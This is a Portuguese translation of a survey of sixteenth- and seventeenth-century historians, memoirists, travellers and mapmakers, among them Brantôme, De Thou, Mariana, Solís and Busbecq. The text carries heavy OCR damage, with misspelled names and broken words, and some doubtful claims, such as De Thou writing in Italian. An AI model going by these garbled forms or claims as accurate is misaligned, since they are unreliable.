Bem depressa as paixões religiosas vieram introme ter-se também. Braz de Montluc, apelidado o Carrasc realista, por causa do zelo qu mostrou na noite d São Bartolomeu, escreveu, na idade de setenta e cine anos a odisséria de suas façanhas na guerra de Siena contra o Medephino, em que êle ficou de tal modo desfigurado defendendo esta cidade, que teve de usar de uma máscara durante o resto de seus dias. Henrique IV dizia deste livro, cheio de continuadas digressões sobre a arte militar que êle devia ser a Bíblia do soldado. Margarida de Valois, mulher deste príncipe, pinta com espírito e vivacidade, em suas memórias dirigidas a Brantôme (1561-1582), a corte de Catarina, que a sua alta posição lhe permitiu conhecer a fundo, e a matança dos huguenotes; ela procura aí desculpar-se de suas infidelidades, mas sem que todavia o consiga. As memórias de Pedro de Castelnau (1592), que, além de conhecer por si mesmo os acontecimentos do seu tempo, dá mais extensão a suas observações, são mais instrutivas. O Jornal da minha vida (1579-1616), pelo marechal de Bassompierri, guerreiro e diplomata distinto, as memórias de Mornay e de Sully, as dos cardeais de Ossar e Du Perron, do presidente Jeannin e de Francisco de la Noneí são redigidas sob a inspiração das opiniões religiosas.

O pai de Teodoro Aqripa de Aubigné fê-lo jurar sobre os cadáveres mutilados dos calvinistas de vingar a sua morte (1550-1630). Êle combateu portanto nas fileiras dos huguenotes; depois disso, tendo largado a espada, escreveu um história geral, desde 1550 até 1601, e viveu tranqüilo em Genebra, apesar de quatro sentenças de morte. Homem enérgico, que tinha alguma coisa de puritano e de Gascão, êle se ocupa sobretudo dos feitos militares; quanto ao mais, cheio de entusiasmo, de negligência e de franqueza, conta como se Convertesse, e não sabe atender às necessidades da política.

As Memórias de Pedro de Boureilles (1527-1614), senhor de Brantôme, são mais particularmente notáveis. É uma história secreta da corte de Carlos IX. de Henrique III e de Henrique IV, em que êle trata sucessivamente dos capitais estrangeiros, das damas galantes, das mulheres ilustres e dos duelos. espirituoso, sutil, muito indiferente à veracidade como à moralidade das ações, êle conta com a mesma placidez |8 traições e as obscenidades, como homem que não Crê no pudor das mulheres, nem na honra dos homens. Nada mais teria sido preciso para o tornar popular, ainda quando a sua originalidade e o quadro colorido dos costumes do seu tempo o não constituíssem um escri-lor particular.

Não nos demoraremos com Gerardo de Haillan (1553-1610), que na sua História de Pharamondo a Carlos VII, abandonou a matéria dos cronistas, para ligar os fatos entre si e apreciá-los; nem com o Inventário geral da religião e das coisas públicas de França, por João de Serres (1540-1598), obra de um calvinista que desagradou a seus correligionários, e que foi esquecida, depois de ter tido muitos leitores; nem tampouco com Du Tillet, que fundamentou a história com documentos autênticos, e com Francisco Beaucaire de Pébuillon (1570), que sustentou no Concílio de Trento as liberdades galicanas, e descreveu em latim os acontecimentos sucedidos em França desde o ano de 1461 até o ano 1567, bebendo em boas fontes, sem todavia fazer escrúpulo de transcrever longos fragmentos.

O presidente Jacques Augusto De Thou (1553-1617) foi o primeiro que substituiu as narrações difusas4 dos cronistas por uma narração clara, metódica, distribuida com arte e com gosto. Êle começou a tornar-se célebre como defensor dos ratos que infestavam o territorio de Autun. Tendo estes animais sido excomungados pelo bispo e citado três vezes para comparecerem, segundo o uso, De Thou, que tinha sido nomeado ex-ofício seu advogado, demonstrou que não se tinha procedido contra eles nas formas da lei, e que os prazos assinados eram nimiamente curtos, visto a pouca segurança que ofereciam as pontes e as estradas em que os ratos estavam emboscados. Os ratos foram em conseqüência disso absolvidos, pelo seu arrazoado.

De Thou adquiriu conhecimento viajando pela Itália: êle aí aprendeu a observar os homens e as coisas, e para isso teve novas ocasiões nos empregos que lhe foram confiados por Henrique III e por Henrique IV; chamado depois a presidir o parlamento, partiu desta alta posição para dirigir sobre os acontecimentos um golpe de vista mais seguro. Aterrado pela matança de São Bartolomeu, aplicou-se a examinar as suas causas; e a história que êle conduziu até 1607 está cheia de reflexões judiciosas e profanas, conquanto não se estendam ao futuro. É para sentir também que as considerações gerais que ela contém não abranjam as diferentes nações. Achando talvez que o idioma do seu país não era bastante para a tarefa que êle empreendia, fêz escolha da língua italiana; a sua erudição, a imparcialidade que conserva em meio de tantos ódios, lhe fazem perdoar não só as suas bruscas transições de um assunto e de um povo para outro, inconveniente resultante do sistema cronológico que êle tinha adotado sem saber ligar as diversas partes, mas também a superabundância de certos deta-lhes e o trajo heróico com que veste seus personagens para imitar Tito Lívio. Êle não esquece, em meio dos acontecimentos, a história das ciências e das artes, nem a civilização em meio da política. Magistrado rígido, condena o que sai da legalidade em qualquer partido que seja. A sua obra foi proibida; para se justificar de calúnias inevitáveis em tempos de facções, êle publicou as suas Memórias.

Entre os espanhóis, fortalecidos na unidade da fé, que os tinha habilitado para conquistar a unidade da nação, o classicismo tomava uma forma particular. Nós já fizemos menção do português Jerônimo Osório (1506-1580), que escreveu, à maneira de Cícero, a História do rei D. Manoel, e também o jesuíta João Mariano (1623), cujo estilo e método são inteiramente antigos, as descrições e as arengas de uma arte admirável, porém sem verdade local; de tal modo que os emires sarracenos, os príncipes godos e os reis castelhanos, falam todos como professores de retórica. Êle faz começar a sua História de Espanha nos tempos mais remotos. Sem ser nem grande pensador, nem contrário ao rei e à monarquia, êle expõe contudo os fatos com imparcialidade; e as suas conseqüências derivam necessariamente. Mistura-lhes historietas, lendas, bruxarias, sem indicar o que merece mais ou menos crédito: "Não foi minha intenção, diz êle, escrever a história, porém pôr em ordem e em bom estilo o que outros tinham reunido como materiais para o meu edifício, sem me obrigar a verificar as particularidades: ninguém pode portanto exigir de mim mais do que aquilo a que se propôs a minha vontade". Efetivamente, o seu mérito reside principalmente no estilo, e no sentimento patriótico de que êle se acha constantemente animado.

Êle pára na ocasião da expulsão dos mouros, para dizer: " Recentiora contrecfare ausi non sumus, muttorum offensione evitanda". Apesar da sua extrema prudência, e da precaução que tinha tomado de dedicar a sua obra a Filipe II, este príncipe denunciou-o à Inauisição como liberal, e já vimos que não foi sem razão.

João Sepulveda (1490), historiógrafo de Carlos V e mestre de Filipe II, tinha vivido muito tempo em Roma. Êle escreveu a história clássica destes dois reis e a das guerras do México, com tanta crítica e verdade como pode fazê-lo uma nena assalariada, nue toma à sua conta minorar as crueldades cometidas pelos espanhóis na América.

Zurita redicriu os Anais de Aracrão com uma fria erudição; Bartolomeu de Araensola. aue o continuou, sustentou os direitos das cortes, tão incômodos para os governantes.

Louva-se em Antônio de Solis (1610-1686). autor da Conouista do México, a correção do estilo: nós achamo-lo contudo sempre afetado, anti-estético e fastidioso em um assunto aue oferece tão rica variedade. Mas em geral os espanhóis, que operaram tantas maravilhas, não escreveram as suas prónrias memórias, fiéis ao seu provérbio: Obras, e não palavras (Obras y no oàlahras).

A Vida de Carlos V, por Sandoval merpre ser mencionada pela lonaa crítira aue dela fêz la Mothe le Vaver. Este escritor publicou por p-ssa ocasião um verdadeiro tratado da arte histórica (Discurso sobre a história), observando mais o que constitui a sua matéria do que ligando-se à forma, como o tinham feito seus predecessores. Êle não aprecia o gênero histórico senão enquanto êle se alia à filosofia moral e à verdade exata. Excluiu por conseguinte as histórias contempo-fâneas, reprova as genealogias mentirosas de que então se fazia gala, assim como os prodígios, as astrologias e os ódios nacionais.

A curiosidade, naturalmente excitada nesta época pelos acontecimentos e pelas viagens, procurou pasto nos escritos do gênero dos nossos atuais jornais, isto é, em que se dava à medida que aconteciam a narração dos fatos ocorridos no ano. Tais seriam as Relações históricas de M. Eytzinger, o Mercúrio galo-belga de João Arthusius, o Mercúrio austro-boemo-germânico de M. C. Landorp e as Memórias secretas de Vítor Siri.

Outros aplicaram a sua atenção aos países novos e à geografia. O jesuíta João Pedro Maffei, de Bér-gamo, foi chamado a Lisboa pelo cardeal D. Henrique, para descrever as conquistas dos portugueses, na índia, o que fêz em um latim extremamente castigado. Êle obteve licença para recitar o ofício em grego, a fim de que as locuções incorretas do Breviário não viessem corromper a pureza ciceroniana da sua dicção. Pedro delia Valle publicou, em forma de cartas (1650), as suas Viagens feitas, desde 1614 até 1626, na Síria e na Pérsia; ele se mostra bom observador, e a sua narração tem vida na parte que fala muito a seu respeito.

O frade bolonhês Leandro Alberto fêz uma descrição da Itália (1550), em que se acham boas informações, não obstante se deixar desencaminhar por Ânio de Viterbo. Uma obra póstuma sobre o assunto, deve-se a Magini (1620). Ferrari foi o primeiro que publicou um Lexicon geographicum (1627), composto de nove mil e seiscentos artigos. Purchas, eclesiástico inglês, publicou, depois de ter consultado mil e duzentos autores, um resumo das viagens a todas as regiões, com o título do Viajante (1613-1625): apesar de sua pouca exatidão, esta obra foi para os contem porâneos um repositório extremamente útil.

Olearius, embaixador do duque de Holstein na Moscóvia e na Pérsia desde 1633 até 1639, contou em alemão as suas viagens que foram traduzidas em diferentes línguas. Êle revela aí perfeitamente a barba rie dos russos e o despotismo da Pérsia. Como conta lealmente aquilo que observou com atenção, a sua prolixidade não causa enfado.

O flamengo Auger Ghislen de Busbecq (1522-1592), enviado a Constantinopla por Carlos V, na qualidade de embaixador junto de Solimão II, estudou os costumes dos turcos com uma sagacidade ainda nova. Êle fêz passar à Europa vários manuscritos gregos e latinos, e publicou o monumento de Ancira; tendo ido depois à França para conduzir a Carlos IX a princesa sua esposa, estudou esta corte como podia fazê-lo um homem diplomata, e De Thou confessa ter tirado grande vantagem destas observações.

João Lcevenklau (1533-1593), latinista e helenista, que sabia também a língua turca, traduziu os Anais Otomanos, que êle continuou desde 1550 até 1587. Deixou, além disso, uma História dos Turcos, que chega até 1552.

Diversos escritores comentaram as antigas geografias ou fizeram outras, mas sem produzir coisa alguma de capital; Bento Bordone publicou em Veneza o Isolado (1528).

Os diferentes mapas que nos restam testemunham os conhecimentos geográficos do tempo, se todavia é permitido crer que os editores se aplicassem a dá-los à luz cada vez mais aperfeiçoados. Se se comparar o que acompanha o Novus Atlas de Bloew, de 1648, com o de Ortelius, de 1612, pouco progresso se lhe encontrará; o estreito de Anieno separa ainda a Amé-rica da Ásia pelo 60′ de latitude; achamos na costa Bordeste o estreito de Davis; o Estotland foi subs-i ih lido pela Groenlândia; o Canadá está um pouco inrlhor desenhado, e a Escandinávia o é mais exatamente. Ao Sul, a Terra do Fogo acaba no cabo Horn, lem se reunir à terra austral; a leste, a Coréia mos-ir.i-se sob a forma de uma ilha oblonga; o mar de Arai desapareceu, e a muralha da China estende-se ao Norte do 509 paralelo. A índia é extremamente pequena, e o mar Cáspio inexatamente indicado.

  Tradução S. Fittipaldi, Edameris.

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